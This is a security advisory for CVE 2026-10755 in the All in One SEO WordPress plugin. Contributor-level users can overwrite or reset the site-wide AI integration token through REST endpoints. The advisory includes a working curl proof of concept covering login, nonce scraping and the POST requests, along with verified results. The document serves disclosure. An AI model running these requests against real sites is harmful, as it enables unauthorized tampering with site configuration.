All in One SEO < 4.9.9 – Contributor+ Incorrect Authorization via AI Integration | CVE 2026-10755

Description

The plugin does not correctly restrict access to some of its AI integration REST API endpoints, allowing users with low-level privileges such as Contributors to overwrite or reset the site-wide AI integration state.

Proof of Concept

Prerequisites: a contributor-level account exists. Replace TARGET and the contributor credentials. The aioseo/v1/ai/auth and ai/deactivate routes register unconditionally in the free build (no AIOSEO account/connection or non-default config required).

# 1. Log in as a Contributor, capture cookies
curl -s -c c.txt -b c.txt \
  -d "log=CONTRIB_USER&pwd=CONTRIB_PASS&wp-submit=Log+In&testcookie=1" \
  "https://TARGET/wp-login.php" -L -o /dev/null

# 2. As the logged-in Contributor, read a valid wp_rest nonce from a page that localizes wpApiSettings (e.g. the block editor)
NONCE=$(curl -s -b c.txt "https://TARGET/wp-admin/post-new.php" -L \
  | grep -oE '"nonce":"[a-f0-9]+"' | head -1 | grep -oE '[a-f0-9]{10}')

# 3a. Overwrite the site-wide AIOSEO AI access token as a Contributor:
curl -s -X POST "https://TARGET/wp-json/aioseo/v1/ai/auth" \
  -H "Content-Type: application/json" -H "X-WP-Nonce: $NONCE" -b c.txt \
  --data '{"accessToken":"attacker-controlled-token"}'

# 3b. Or reset the site's AI integration as a Contributor:
curl -s -X POST "https://TARGET/wp-json/aioseo/v1/ai/deactivate" \
  -H "Content-Type: application/json" -H "X-WP-Nonce: $NONCE" -b c.txt --data '{}'

Result (verified in DDEV by reading the stored option before/after): ai/auth overwrites the global AI access token with the attacker value, performed by a Contributor; ai/deactivate resets the site's AI integration state. Storage location moved across versions: aioseo_options_internal -> internal.ai.accessToken on 4.9.5.1; aioseo_sensitive_options -> aiAccessToken on 4.9.7.2 and 4.9.8. On 4.9.8, ai/deactivate flips internal.ai.isManuallyConnected to false and resets the internal AI options/credits (the access token now in aioseo_sensitive_options is not wiped by deactivate). Boundary: a Subscriber is denied (lacks edit_posts), unauthenticated returns 401.